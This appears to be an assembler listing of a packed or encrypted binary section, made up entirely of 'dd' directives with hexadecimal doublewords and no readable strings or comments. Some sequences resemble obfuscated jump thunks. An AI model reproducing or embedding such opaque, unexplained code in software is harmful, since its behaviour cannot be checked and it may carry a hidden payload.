		dd 890620E2h, 242C8BEFh, 4C481h, 8B540000h, 0C481242Ch
		dd 4, 0FABA5250h, 0F7597C17h, 0EF281DAh, 89A683E8h, 0E8015AD0h
		dd 0FF583889h, 815D2434h, 4C4h,	243C8B00h, 81E68956h, 4C6h
		dd 4C68100h, 87000000h,	0E95C2434h, 0FFFA8CF4h,	0ABB85A1Bh
		dd 30620F0h, 82E0FFC5h,	0AA2653FDh, 6B7E44D5h, 0DD39349Ch
		dd 0E04CC347h, 6F615850h, 0A97B0BB6h, 0A86FF78Fh, 0E440383Ch
		dd 0EB0A2AD5h, 34A73504h, 619E948h, 0BEAE0000h,	7F6F8423h
		dd 0D0AA41E0h, 82718629h, 0C6B348E7h, 0C7DD801Fh, 0A948EF0Ah
		dd 0E4832652h, 0A03FDE0Fh, 0E6892C4Bh, 0BD251F4h, 6638E88Ch
		dd 966DBD85h, 3119B659h, 0DC7F788Dh, 22C9B043h,	8E5BA7Fh
		dd 4730C569h, 0FE80BA4h, 9D72D36Ch, 0B09A33CEh,	5CFBFB10h
		dd 4EE90AD9h, 78A691AAh, 0D87B74F9h, 34D3A239h,	0E2F2BB1h
		dd 3BA91CB7h, 4EFC993Ch, 0F60D2CCCh, 86BF58F7h,	791DBCB9h
		dd 62E98C64h, 0AC9960DFh, 92F83EC8h, 2EB555EEh,	4790A1AAh
		dd 781840A6h, 2F3EC38Eh, 0DD1AF190h, 0D57215E3h, 4EAF370h
		dd 0FF853EC8h, 0DD66FF81h, 3EC8041Fh, 14DCDA17h, 0F476D471h
		dd 0BD60985Bh, 4A3D320h, 11FBDF6Bh, 24A9103Eh, 4DB22A1h
		dd 905D3EC8h, 76F654F1h, 0ABC67010h, 2CCBAB78h,	0EB8FA993h
		dd 85A80F57h, 33A96303h, 9B028582h, 6206ADC4h, 7069h, 0DC1BD900h
		dd 0E76C18E2h, 3EC87D16h, 0DB5DDB69h, 7DFA0142h, 343C3EC8h
		dd 0EFFFF491h, 4B2DB750h, 8F6BD604h, 8B088DC0h,	3EC87D72h
		dd 1DD7770Dh, 284B1A7h,	6B1h, 303F1400h, 1B63E98Dh, 21B837DBh
		dd 403EC87Dh, 6108F1CAh, 0C1AD46DFh, 7D6E8522h,	53F245E2h
		dd 3BD46F7Ch, 0AAC56F0Fh, 7AA4925h, 0DD846D42h,	0A747EE04h
		dd 0DF822552h, 37DE1B57h, 7A19559Eh, 0A1B07EDDh, 0BAE551Ch
		dd 954AFBF4h, 0DEB52380h, 4FA441BFh, 0AB462523h, 9AD9A62Dh
		dd 9730CBA8h, 789135B3h, 4BB5BC6Ah
		dd 284CD25h, 0D053h, 14DDB200h,	0D67AD06Dh, 37DE1B50h
		dd 0D40A28B4h, 9CA7D66Eh, 0AAD023FCh, 6C896A03h, 0B7C330CDh
		dd 717C7710h, 5EF13DD2h, 0C08F9F30h, 19B8B68Dh,	0F2996075h
		dd 9069E66Bh, 0E83EC83Dh, 0C83D926Bh, 0DB57ED3Eh, 956AC96Dh
		dd 17E3B05Ch, 0EE73D770h, 3EC83DEFh, 2A2A3A72h,	49C9852Dh
		dd 53A03DBBh, 83FE8520h, 0C07881FEh, 0B1173EC8h, 0C8C0D128h
		dd 761AB03Eh, 1857459Dh, 1AE360E5h, 753EC8C0h, 4FB56F0Fh
		dd 29028570h, 61h, 5B966D99h, 529AAAA6h, 0E6649CCEh, 1B1EF349h
		dd 6E08D84Ah, 39D417ECh, 3B394095h, 47039C3Bh, 0A6C72CC9h
		dd 9E806E07h, 9E25A0D3h, 3EC87C5Fh, 0DFF49432h,	39DC1412h
		dd 8E5F34B7h, 3EBC5F98h, 2605A9A1h, 3CDB1B20h, 7D5AA0A3h
		dd 0D74A3EC8h, 0AA4EED08h, 5187F180h, 70284B2h,	1, 38DF1B7Bh
		dd 0F00527B5h, 8854E069h, 35C5F0B1h, 2FC7B31Fh,	0CA1AB731h
		dd 0D16A0E8Ch, 26AD5522h, 3EC89BD7h, 0B872251h,	0FD78FB7Dh
		dd 0C89B6776h, 0A604EA3Eh, 294F4D74h, 0A27B1BA9h, 2EB3BE68h
		dd 842B4644h, 3EE15FEBh, 0D15475CCh, 8B52D154h,	0E63EC8B6h
		dd 597BC060h, 0C2C4F58Dh, 0CF39C03Fh, 0F3FFC72Dh, 0AA3AD04Ch
		dd 9752C4A2h, 9D1B06h, 0BE6104F3h, 17544E29h, 0E967E37Ch
		dd 0BAE4F74Ch, 8319C72Dh, 0E58867ECh, 0C467915Eh, 0A07F1F2Bh
		dd 429B189Dh, 1DC72DBAh, 5F207A7h, 0B380C562h, 688B24C3h
		dd 0CA6EEC8Fh, 0FE973A35h, 0BE57FAF5h, 0A202EA7Eh, 441D2B99h
		dd 1ED8A29h, 0B526541Bh, 0A53366E9h, 0DF3C38B4h, 0E2F797E6h
		dd 53CF7215h, 0FC69D11Dh, 15D3Bh, 0C147CA00h, 8EFD2385h
		dd 7E7F04FDh, 11C72D43h, 43E8F16Eh, 187C72Dh, 6D59DF7Fh
		dd 15B95896h, 0E86B5EE3h, 0F5531D6Bh, 6D8857C4h, 751931CEh
		dd 93B24BB9h, 62C58A0Eh, 7AB3FCB3h, 2C09E8F1h, 5D0187C7h
		dd 2DCC6F88h, 9AB0A428h, 62676C18h, 544E29BEh, 6FF4771Eh
		dd 0C72CAD6Eh, 68058301h, 2CC96C8Bh, 6BF07F2Fh,	346E98Ch
		dd 5A2412Ch, 0DC5E01EEh, 818AC23Ch, 0BF42FC69h,	0A13CBD42h
		dd 0B553C72Ch, 2CA1AD2Ch, 0A246C4C7h, 3529h, 0A33E9900h
		dd 7118971Eh, 0F03EC87Dh, 7786BD5Ah, 0A23EC87Dh, 0C24679F8h
		dd 0BEB8BF83h, 38C4861Fh, 10B040FEh, 77FEC31Eh,	0C80A51F8h
		dd 973AD03Eh, 9927h, 0A73EA100h, 0FA149B22h, 5DC4F55Fh
		dd 0CAA54EE7h, 1936A919h, 0C345DB4Fh, 0E3827340h, 0C160004Ah
		dd 0DAA4D2Ah, 2C7AA236h, 0AAC557C7h, 6615F177h,	0AF23374Dh
		dd 6BF72885h, 0AF4F3C35h, 0F37A1D5Ah, 14B1541Ch, 13DE6D28h
		dd 0F87A1DFCh, 45B958h,	5FE18872h, 742657DCh, 0CB393D0Fh
		dd 13B6C132h, 0B66907Ah, 915E14A9h, 1EB75697h, 0A827AE2Ch
		dd 0CD0B5451h, 95189A30h, 28476F0Eh, 1840237h, 57EA2F7Bh
		dd 0C923E3BBh, 0D4EDBDD3h, 0A28125A3h, 5263199Fh, 0ED174753h
		dd 0A73E0349h, 0EB8E7D14h, 0D1547E22h, 0C8C48B52h, 0E260E63Eh
		dd 0D7A5D45Bh, 0DEB5C4EBh, 37DE1B0Dh, 9E2EAC9Eh, 482461ACh
		dd 0AEAA4EB2h, 7B747F18h, 737E55D8h, 0F60D2CCCh, 8CB956F9h
		dd 18738A09h, 0B0FEC717h, 0FAA7D806h, 892D9B17h, 20BEFFC4h
		dd 0AEC16D75h, 28AB4E29h, 0D8781F5Bh, 2DD5A239h, 2BF57A6h
		dd 1E9C2A95h, 6638C481h, 5EB40AADh, 5A01F9D2h, 14E98DBDh
		dd 67A33CD7h, 0B07FB2BDh, 0C28825C8h, 0BAEC91Eh, 0B558976Ch
		dd 0F299612Eh, 0B851F555h, 17BAB68Dh, 0BE2CCC7Eh, 11h
		dd 59966D14h, 0A13119B6h, 93DC90ECh, 0F9630349h, 3ED91B47h
		dd 822552A1h, 40DF0EE5h, 81244CA7h, 3BE20FE4h, 812851A2h
		dd 41DC0FE4h, 7C234FA4h, 47E610E3h, 895724AEh, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 241C895Ch, 8904EC83h, 89532434h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 241C895Ch, 0F16DB850h
		dd 0C6890620h, 8124048Bh, 4C4h,	1B646800h, 24890000h, 24048324h
		dd 89575B04h, 87B89F7h,	81243C8Bh, 4C4h, 241C8B00h, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 5E2434FFh, 4C481h, 0A5E90000h
		dd 7EFFFA86h, 0B84CDFF0h, 620F701h, 0E0FFC503h,	2F4C1B0Dh
		dd 33BA9CDCh, 0B1DE1ACh, 1E58DD60h, 68110C55h, 0F17DBC3h
		dd 17019634h, 41991E4Bh, 7E73C1FBh, 6F00AEE4h, 4AE54A2Fh
		dd 22A03254h, 74413E8Bh, 0CBB943h, 2E0D3F1Dh, 5C86E1Eh
		dd 1743E93Ah, 4D2F0DAAh, 6AD844B3h, 4C034B39h, 0D47A5E1h
		dd 6445E4D8h, 69D17FBEh, 4BE47AC9h, 773AE91Dh, 383D2C5Ch
		dd 0E545F92h, 3CABA10Eh, 6045BC1Fh, 59436254h, 6DFCCE7Bh
		dd 7DCF8349h, 9E8h, 40BE9100h, 805B1938h, 0DE80366h, 90000000h
		dd 660FDA53h, 0BE682420h, 8E3E84D9h, 5EFABF0Fh,	0C081FC58h
		dd 7241h, 8C0Fh, 62680000h, 0E900001Ch,	0Bh, 0E9FBFEB5h
		dd 9657FDC5h, 59CF97CDh, 188B5AB2h, 0C381F58Ah,	1F00EDF4h
		dd 81F78B66h, 948D18F3h, 0E8EA8144h, 812A0CC1h,	1091F3h
		dd 0EDE78101h, 531877B6h, 0E9008FF9h, 0Bh, 5DE7626Dh, 8B25FD73h
		dd 83E64412h, 5E904E8h,	0C5000000h, 8426E09Eh, 1E981h
		dd 850F0000h, 11h, 20E9F5h, 46240000h, 541493A3h, 5C85619Eh
		dd 0E9F98B7Ah, 0FFFFFF96h, 0ABA39E46h, 332E2DFDh, 3B745AAFh
		dd 7DE92301h, 60000001h, 6C4FFE5Dh, 0D76FC201h,	0EFB4CAD1h
		dd 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h, 95BCD792h
		dd 93B9E4h, 0F49DB2CBh,	0FC9CACA3h, 0D2009EB9h,	73AFC945h
		dd 55FC00EEh, 599CBA97h, 0B2A4E56Dh, 47FEACFFh,	0C45657F6h
		dd 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh, 0A1915CCDh
		dd 0ACE56Ch, 100h, 43h dup(0)
		dd 3736D1F8h, 0D3C20DA4h, 5370CED8h, 101DE9h, 0FC3F6800h
		dd 81E90620h, 68FFFB4Bh, 620FD55h, 0FB4B77E9h, 0FED568FFh
		dd 6DE90620h, 68FFFB4Bh, 620FFB8h, 0FB4B63E9h, 0D268FFh
		dd 59E90621h, 68FFFB4Bh, 62101C6h, 0FB4B4FE9h, 27E68FFh
		dd 45E90621h, 68FFFB4Bh, 62102E6h, 0FB4B3BE9h, 3ED68FFh
		dd 31E90621h, 68FFFB4Bh, 621046Bh, 0FB4B27E9h, 50A68FFh
		dd 1DE90621h, 68FFFB4Bh, 62105C6h, 0FB4B13E9h, 66768FFh
		dd 9E90621h, 68FFFB4Bh,	62107BAh, 0FB4AFFE9h, 8CD68FFh
		dd 0F5E90621h, 45FFFB4Ah, 29EAD87Ch, 494A3814h,	2EDBD571h
		dd 4B483A10h, 0F3EAD878h, 1D330E2Fh, 0F45A6623h, 1F330DFEh
		dd 0CF794051h, 0ECE677E1h, 4AF1588Ch, 33EAEC57h, 893E3C0Ch
		dd 755FEDD2h, 0AEA4A594h, 4CD1A2CEh, 3D33A115h,	0BCD61B3Dh
		dd 4CD1A2BCh, 4C46CF47h, 4CD1A22Ch, 40D53FB7h, 0CCC55952h
		dd 79470452h, 9A90B686h, 6B8B224h, 82900790h, 4ACA81FAh
		dd 0A97F9501h, 0CA81CDAFh, 31AFBC4Ah, 0C56E243Fh, 228168D3h
		dd 60DF9DB5h, 0B2244ACAh, 195AC3A4h, 4DC250CAh,	0F4000000h
		dd 0A3347A24h, 0CCB322AFh, 76440752h, 0D93DC2D4h, 9397E9DFh
		dd 51024ACAh, 93ACCCC6h, 74374ACAh, 31183C5h, 3FA89A36h
		dd 0CA935523h, 2B389E4Ah, 4E040F45h, 0C7A0B61Ah, 50CA2956h
		dd 0F28A980Fh, 0F94ACA60h, 0B9CD879Dh, 0F7000000h, 0AEA09C7Fh
		dd 6CDCE3B8h, 53B28D8Eh, 7147DD6Dh, 0E9BF89B0h,	0AE371128h
		dd 61DAEAB5h, 0B1A34A99h, 2D9199BFh, 0B38A4CD1h, 0CFEE9B95h
		dd 0A93B112Eh, 5399C3CFh, 30CBD0C2h, 60D652CCh,	82C87292h
		dd 0C48A3615h, 0F16670E6h, 0DDEA4CE1h, 1E223154h, 0B0062724h
		dd 0CD29D6C0h, 90C08358h, 82CEF1A2h, 0EAEDB7F2h, 106E45Dh
		dd 0D82h, 37094BF4h, 19E7655Ah,	2C0640F8h, 17E9615Fh, 370947FAh
		dd 5E61DC24h, 2F1300F2h, 7E40511Fh, 0E2DDED4h, 0D92483Ah
		dd 0F15E6715h, 3F176C4Ah, 0D7401033h, 804649BCh, 3613FFA9h
		dd 0DFD1C389h, 433D0B32h, 4602B992h, 12E4F264h,	0B0A29C7Fh
		dd 2A1204BAh, 455DCA10h, 52CCB3DCh, 0F3E075E1h,	73F3808h
		dd 1820F9F6h, 8C9A4C2Eh, 44C0B4AEh, 6B14ACAh, 0E052A90Dh
		dd 0A8BE6886h, 7AA305E3h, 0E250CA68h, 0D0h, 3C0C3314h
		dd 56263CABh, 9D4CD1A2h, 4C4D2B39h, 0CF09DF71h,	4CD1A6DBh
		dd 11DF6950h, 9DB58F4Ch, 5DEBD287h, 0D31EA5Bh, 98B28841h
		dd 523A2CA2h, 9675E228h, 12C4A6ACh, 9A7F9304h, 0A752CCBBh
		dd 0D8E5A62Fh, 74906274h, 9C3E01CAh, 6C443205h,	91AE6DFAh
		dd 5207BDBBh, 6ADCDE6Ch, 99F7EB7Ch, 4254DD3Ah, 0B58843D4h
		dd 0FDDE6850h, 0B92B0D41h, 8934552Bh, 1E2E13C8h, 0C0B8AA1Ch
		dd 0B4CD77Eh, 4A8939ABh, 655DEB66h, 0C6C8283h, 0E5DE0000h
		dd 0AB90816Fh, 0FAC2CFA1h, 0A795764Ch, 1BCCDA3h, 0A67A614Fh
		dd 0CEA4AC97h, 734D01BDh, 0CCA6AC96h, 7A4800BFh, 15637FE0h
		dd 0DE4AF15Fh, 10337185h, 0C7BCD740h, 5FB63A34h, 3D4E2432h
		dd 6F8CA7Eh, 3E3C0C33h,	0F8CA7E3Dh, 352D720Ch, 4CD1A247h
		dd 2BBC2A8Ch, 0CC8E3E37h, 0E6FC5B52h, 4ACABE96h, 8D6BF95Dh
		dd 0CABE2153h, 0CD8B504Ah, 0CAC3426Bh, 8CAA50h,	245C0000h
		dd 0E8A3347Ah, 0FC697BD5h, 0CCC489E6h, 0F0CA2C52h, 0CA8086FAh
		dd 6CE4F34Ah, 0CAB9A30Ah, 0D7CB5C50h, 4ACA88A1h, 88285042h
		dd 43B34ACAh, 8C4A5CBAh, 56h, 4FF9C09Bh, 3F1E359h, 0A3347A24h
		dd 0A25E1E34h, 0A5BD4CD1h, 4CD1A2D7h, 0A115BA1Ch, 0EB3022B3h
		dd 0B652CCBFh, 50BCD740h, 0C0B0B9B8h, 0BF5D1B37h, 30A64ACAh
		dd 5BAB0A6h, 0C1D37946h, 0CABFADCFh, 510FDC4Ah,	8DBF7C5Fh
		dd 4A2B39ABh, 50CAC1E3h, 114Bh,	392F7900h, 38000008h, 0A2C5B3AFh
		dd 0A80E4CD1h, 7A24C8BEh, 1F34A334h, 1AF6D047h,	0D2C0D648h
		dd 52F1E867h, 381384F2h, 18F9C781h, 41512721h, 0B8C0D217h
		dd 434AF1DCh, 43D441D3h, 8096B088h, 0D1149492h,	0C253C354h
		dd 81163209h, 370BF4CAh, 39AB8D17h, 8534552Bh, 8315E5C3h
		dd 5C3FA83Dh, 85F3EF60h, 4E4CD124h, 7A687EE8h, 52CC19DDh
		dd 2F661E78h, 3C640015h, 0AECA96Eh, 655E0000h, 2B1001EFh
		dd 7A424F21h, 2715F6CCh, 813C4D23h, 26FAE1CFh, 4E242C17h
		dd 0F3CD813Dh, 4C262C16h, 0FAC8803Fh, 95E3FF60h, 5E4AF15Ch
		dd 86FAF105h, 0A4CD1A3h, 2ABD2A70h, 0A3D7A5BDh,	0BA1C4CD1h
		dd 0A347352Dh, 2A8C4CD1h, 6A4B263Ch, 86E52F1h, 0EA304A3Ah
		dd 0B31EA7Dh, 0D83B553Fh, 0CD54D193h, 201FFC69h, 82395A28h
		dd 0B3A84C43h, 0DCDCE895h, 48DE906Ah, 6E10DCDEh, 0AE6BDFDDh
		dd 0CC2B88Eh, 21150D9Ah, 5E52F171h, 1234AF45h, 584E8572h
		dd 2A5240B7h, 0B14AF1E3h, 63591AC2h, 55BFA3FDh,	0CB7556BFh
		dd 293BB187h, 68E0DFBCh, 86C2799Ah, 0C2CCAEA4h,	702BCAF1h
		dd 0AF25034Dh, 7DC3D5A5h, 15637FE8h, 0DECAF1C2h, 0A73D112Dh
		dd 353A28BDh, 0F0D4ECA5h, 0CCD1EE86h, 0ECBEDE1Fh, 0A092Bh
		dd 8ACA7B00h, 66E6DBB8h, 87BF7F8Ch, 68E2D8B9h, 8AC6799Ah
		dd 0E05DA5B8h, 8C7D73DDh, 0E7A49EB0h, 8E7B75DDh, 31A799AFh
		dd 5DC6B6ACh, 0B60D4AF1h, 347A24A0h, 6BD4AFA3h,	950152F1h
		dd 0D4744B00h, 3A0E2DDEh, 0A188F40h, 4AF15B72h,	43071D79h
		dd 0D542D319h, 5B285042h, 43B34AF1h, 92F83F51h,	118554D1h
		dd 50F8C784h, 0BE8AB162h, 0C58EB0BCh, 8CF8C3A1h, 0AD9348E0h
		dd 0BD9E079Dh, 0D0454F03h, 0BAC2D047h, 414CD141h, 0BA826352h
		dd 294CE50h, 7170FE14h,	849F52F1h, 0C8210768h, 67E8FE10h
		dd 96A566EFh, 0ECD3C0B2h, 7EE95E5Ch, 0CFA99D9Dh, 0E775031Dh
		dd 187E4AF1h, 0E760140Eh, 16284AF1h, 0FBD047D0h, 0BC320848h
		dd 0E741372Bh, 2C8A4AF1h, 2F09283Ah, 0C23454D1h, 81C77655h
		dd 22DBE2AFh, 591F3320h, 0A24CD11Fh, 3634A234h,	0C1831426h
		dd 0AF259791h, 0D6A92C26h, 1A7C52F1h, 612A5420h, 6DA2AA1Fh
		dd 50C54FACh, 0EC6B6942h, 12A21454h, 5E200EFFh,	0EF591E6Ch
		dd 61000008h, 0DFEF460h, 65261C30h, 12FFF155h, 67241E2Ch
		dd 0D7FEF45Ch, 947FA43h, 0E8665A37h, 0B47F91Ah,	0E3655435h
		dd 0C0D2430Dh, 4AF0A2B8h, 331EE043h, 3D3E3C0Ch,	33F0CA7Eh
		dd 0AA674111h, 32BFB997h, 27948761h, 7F3E7C54h,	0A566F7C9h
		dd 85DD2F96h, 0F98FDB64h, 0CDD78D6Bh, 0E593C5E8h, 112D56h
		dd 7FD70000h, 0A282FAE8h, 0ED494CD1h, 4B11EF7h,	6AC80000h
		dd 2E7406E5h, 536D2EB9h, 0FC7C96FFh, 74CD1A2h, 6A8B858Fh
		dd 7F52CCC6h, 0E05E5417h, 5499C770h, 0ABA7992Ah, 5DEFCCCDh
		dd 9E7BE95Bh, 0AD3AACA2h, 6E78CEEEh, 33A0E9F9h,	0E94D87DCh
		dd 7B455E0Fh, 441BD68Bh, 2A5240D5h, 0B19FDAD2h,	0D16B4F45h
		dd 0BE081A8Bh, 0B981CC82h, 0C85FC85Dh, 0C4A2A2DAh, 0D3CD2999h
		dd 99C4A2A5h, 49DEC82Eh, 0A39DAB92h, 0C171D7E6h, 32F98ABAh
		dd 0FB22E3C5h, 6D000007h, 61320054h, 1102F05Ch,	66231D29h
		dd 1300F258h, 0B522030h, 0D57B46F7h, 3C122EDBh,	0D77B4546h
		dd 371128E9h, 140E8F49h, 4AF0A364h, 3342146Fh, 3D3E3C0Ch
		dd 8EBE8382h, 0D62DB7ACh, 8DDC424h, 0D4CF859Eh,	89F73FB2h
		dd 0EAD18A1Bh, 0E57A485Eh, 6D186072h, 73E34CD1h, 0B2A4AA96h
		dd 0FD6AB0CAh, 0F1A480E5h, 64F16552h, 0C2B098A7h, 0D0DBEAD1h
		dd 6D2A07C4h, 7AED7AECh, 0F10B1068h, 697BDB4Ah
		dd 42FDDE8Fh, 0ACBA2C0Eh, 0EF78BEE0h, 0D1C244F3h, 38AD0954h
		dd 0F6EB5B63h, 872333AAh, 42D3C1E9h, 9C96B289h,	8278D0EFh
		dd 0E292BE81h, 5DE534E3h, 433D4290h, 0B5000007h, 997A480Ch
		dd 0B9DAA8A4h, 9E6B4501h, 0BBD8AAA0h, 637A4808h, 0ADA39E9Fh
		dd 440AB6D3h, 0AFA39D6Eh, 5FE9D0C1h, 3C56C791h,	4AF0A03Ch
		dd 249A5CC7h, 0AFA3347Ah, 52F16B08h, 9774E155h,	0C1D2A0A8h
		dd 104003FAh, 1F33A41Ah, 4AF15B59h, 0C8A234A2h,	0CB5CA2BCh
		dd 0EC7572D7h, 0BB71F54h, 5E206D04h, 0DB5C216Fh, 4D000006h
		dd 112E074h, 7122103Ch,	603FD49h, 73201238h, 2B320050h
		dd 0F55B66D7h, 1C320EFBh, 0F75B6526h, 17310809h, 342EAF29h
		dd 4AF0A044h, 3322348Fh, 81CDF10Ch, 8012B2A7h, 0ECF2EA2Bh
		dd 0D0EEC7Ah, 0D3201A2Eh, 0D3EA28C0h, 152BE075h, 7F79D7EAh
		dd 0EB6157CDh, 0B7E607F9h, 1F56E4FAh, 1Dh, 2A92FD5h, 0AF380000h
		dd 7C7ED0ECh, 0A2A0D8CAh, 0A5BF4CD1h, 3248DCD9h, 899BFB84h
		dd 3C0C33BBh, 56263CABh, 9D4CD1A2h, 573D2839h, 807A3C14h
		dd 0B6C89496h, 4CEBE770h, 1152F146h, 0FFBECBA5h, 300A40FEh
		dd 6CE0DDBEh, 6C4ED88Eh, 0C6BC94AFh, 435FA4B6h,	4AF17235h
		dd 59CE58BEh, 0D1BBD149h, 0EF78DE54h, 0CDF00D2Ch, 0D8E4A583h
		dd 7C76E076h, 0A298B08Fh, 0E572DEE1h, 36ABA7EEh, 0DEC8D20Ch
		dd 286E10DCh, 4C7328BFh, 0A4C5FEFCh, 4CC5DF5Ah,	11FF157Fh
		dd 52CC489Ch, 9C952D89h, 0F640030h, 5D4BCC1h, 7D460000h
		dd 1328E9D7h, 724A4739h, 0F2DDED4h, 7944453Bh, 2EF2E9D7h
		dd 261C340Fh, 0FBF55965h, 241E340Eh, 2F05867h, 0ADCBC758h
		dd 364AF0A1h, 647F09CDh, 48BEED83h, 712A3C59h, 0FFFCFE4Ah
		dd 4C00BD40h, 8093E0DAh, 0B593AAE8h, 2583AABBh,	273C56E5h
		dd 58ACEC95h, 44021455h, 11h, 1432F72h,	63380000h, 45F7F161h
		dd 8096B884h, 3C0C33B6h, 0E48A9388h, 0B5BA185Dh, 556h
		dd 635DF7C8h, 0BDB399A6h, 685AECCCh, 0BBB595ABh, 635DF3CEh
		dd 0AA95A870h, 3BFCCA6h, 0AA94754Bh, 2B9DAA8h, 71E66C46h
		dd 0F0A61B61h, 7B83E04Ah, 0AB3C0C33h, 637FC8F0h, 4CD1A215h
		dd 0F8EE78DEh, 0AE8E4D02h, 3A2CA298h, 0CEE5A61h, 96D48C7Fh
		dd 9ECFA1A7h, 56E5DB6Fh, 12D7h,	0C62F0D00h, 0D7000000h
		dd 0C02Fh, 5C633800h, 240CFAECh, 0AFA3347Ah, 52F16C08h
		dd 0FB07E155h, 0D18A1B61h, 0E6E64EFh, 0D54AF158h, 74E1F361h
		dd 0EC3D055Eh, 0B64EA854h, 5E2069CFh, 0B729EEBCh, 29000004h
		dd 45463C18h, 2DDED478h, 4A47390Dh, 2FDCD674h, 0F463C14h
		dd 410F320Bh, 0B09EA26Fh, 63EFD1C2h, 8BBD7C8Dh,	0A8BA1BB5h
		dd 4AF0A7D0h, 24B6C81Bh, 0E8A3347Ah, 0FC697BD5h, 8C64786Bh
		dd 68E256DDh, 2F65647Eh, 0AE0852CCh, 0EC5A6239h, 0B39DA07Bh
		dd 8365EBD6h, 68EDC3D1h, 99565A7Bh, 9381DB3Bh, 0CA4BFC7Dh
		dd 5AEECD4Ah, 0B493AB68h, 0CA4BDE9Eh, 23B1254Ah, 44A9A1B2h
		dd 304A7490h, 0B8934426h, 77504600h, 42Eh, 347A241Fh, 6C08AFA3h
		dd 0E15552F1h, 1C61FB07h, 0F1587606h, 8B197D4Ah, 3D6B081Ah
		dd 9D9654ECh, 0F3217A2Ah, 0A75BC948h, 5E2011C8h, 0FBC0C523h
		dd 6D000003h, 61320054h, 1102F05Ch, 66231D29h, 1300F258h
		dd 0B522030h, 0D57B46F7h, 3C122EDBh, 0D77B4546h, 371128E9h
		dd 140E8F49h, 4AF0A764h, 7F42146Fh, 0CBAD9F9Ch,	1D3F0B19h
		dd 0A2B2CAD8h, 0DD394CD1h, 3FFDDE47h, 968C190Bh, 52F16C2Bh
		dd 7C5FC82Eh, 0D4B58BBDh, 758563E5h, 1A089DE3h,	54D1901Ch
		dd 914ADB3Bh, 0E07053AAh, 0F0C2540Ah, 4E2C1C23h, 64140E99h
		dd 6F4CD1A0h, 0B2D1D07h, 0CBC750C5h, 4CD1A0ADh,	86CA7536h
		dd 0B2A432A4h, 9D902D25h, 51C552CCh, 0FF99E0A1h, 0B8BD0B63h
		dd 35Ah, 8F61F3CCh, 0A18FBD82h,	847EC8F0h, 9F91B987h, 0AF81CFF2h
		dd 0D6E954ACh, 0B78B887Ah, 0D6E8A997h, 0B685867Ch, 0A53AA092h
		dd 0F0A4CFADh, 0A7AF144Ah, 0CCF10C33h, 7DFB1780h, 864CD1A2h
		dd 86118610h, 0D1A2EC8Ch, 0CA7FF74Ch, 6E4C5AF8h, 0C8BA8EADh
		dd 0CB5CA2BCh, 0CCC5D2D7h, 5B49752h, 812E4E44h,	41B54ACAh
		dd 755FD5D3h, 568C6EC8h, 4ACA8122h, 6ED0884Fh, 50CAB83Fh
		dd 25A7h, 7A245D00h, 22AFA334h,	0EF52CCB3h, 0C5B7B187h
		dd 0B44ACA93h, 0DB754803h, 66800C9h, 50CAAE97h,	102FFh
		dd 0C33B500h, 823D3E3Ch, 0DE14A74Bh, 0F361465Fh, 345F4F5h
		dd 0F3556425h, 0BB8358FDh, 8387998Bh, 784CD1BBh, 3D1E87C1h
		dd 77EDCB7Fh, 0C776936Dh, 5536A781h, 5204E66Ah,	1DE67844h
		dd 0D67F9AC4h, 77DBE571h, 8059CB81h, 3AAC8EB8h,	42273BACh
		dd 6F52CCB5h, 33A43907h, 0CAF5591Fh, 5734A24Ah,	0BEFE56Dh
		dd 2DBA2B71h, 0F5D0A8BAh, 701B4ACAh, 0B693014Bh, 0EF654309h
		dd 1E1DEBE5h, 50C654DDh, 0C37B50C7h, 212FA583h,	4CD7535Bh
		dd 53D2AAB8h, 0BD194CD7h, 0CDABA710h, 164CD753h, 0B72036A0h
		dd 9967E9D4h, 0F78BC578h, 5DEB7B2Ch, 78C915Fh, 79000002h
		dd 0D5B68CC8h, 7D8E64E8h, 0DAB789BDh, 7F8C66E4h, 9FB68CC4h
		dd 71DFE25Bh, 0A0AE927Fh, 53FFC1D2h, 0BB8DAC5Dh, 988A0BC5h
		dd 4AF0A5E0h, 33C698EBh, 0BCD64110h, 4CD1A2BCh,	0BBC1CF47h
		dd 404CD1A2h, 3095F153h, 5BC91EF3h, 231AF7C9h, 7F294B25h
		dd 0CEAC9E9Ch, 1C3E0E18h, 0C05141D6h, 0E552CCB3h, 37311726h
		dd 0B442C502h, 73E12BE3h, 807ADC61h, 0CA8A364Ah, 0E3F0634Ah
		dd 0FC72B7CBh, 0E5D6C0F2h, 0EA4096Bh, 0D80C50CAh, 0BA000000h
		dd 82FAE87Fh, 494CD1A2h, 1B22F7EDh, 734E4B2Dh, 275B48DDh
		dd 46C5ED8h, 1B1D310Dh,	4F293BA9h, 0D1661119h, 15330A4Ch
		dd 0F94F6E1Bh, 349F3FFh, 7EB8092h, 0A01652CCh, 4288B2D2h
		dd 84BABED5h, 5E428413h, 20A3D9C9h, 0CE284ACAh,	0DA534FD8h
		dd 7F54DDC7h, 0F2CD8E17h, 64F3645Eh, 0A0B29AA7h, 4CD783D8h
		dd 0DE9EB423h, 254CD783h, 0A0B223B1h, 4CD783D8h, 0E8A1B323h
		dd 6C77BD5h, 255DEAACh,	0F4C2C3h, 5D660000h, 330809F7h
		dd 526A2719h, 2F0DFEF4h, 5964251Bh, 4ED209F7h, 867CD4EFh
		dd 9B95B985h, 847ED4EEh, 0A290B887h, 0CDABA738h, 164AF0AAh
		dd 9C7FA9ADh, 0ED5B629Fh, 0D9CB590Bh, 0F0C83D00h, 74E25456h
		dd 42CAD97Eh, 5A828BEFh, 0C2795244h, 33CAAC86h,	893E3C0Ch
		dd 0F65FEDD2h, 0D1A29CDCh, 0E5EF674Ch, 91B01524h, 71DBE03Ah
		dd 41B27B60h, 96B088h, 0E2285232h, 0CECA5D75h, 0EC9F52F1h
		dd 33A97FD1h, 675734A1h, 0C8A2A494h, 34AA8016h,	0FAC9AFA3h
		dd 0A4124AF1h, 4407B8B2h, 9C2D476h, 6F1C1632h, 0BC90AD50h
		dd 9C9E08BEh, 0D6A6BC2Bh, 1D4AF1FAh, 46362CB9h,	8D4AF1FAh
		dd 59253B29h, 8B24223Eh, 5B4F26Eh, 9D9C6D43h, 0EECCCDABh
		dd 0D47F5E5Ch, 3E294F43h, 44B21FA0h, 0FDEF6952h, 502A201Eh
		dd 0ECD3889Eh, 96A5665Ch, 3B7B8B2h, 0DF000000h,	1233D42Ah
		dd 94AB6842h, 0BB5B6B4h, 8CB07147h, 182BE8C2h, 7E414238h
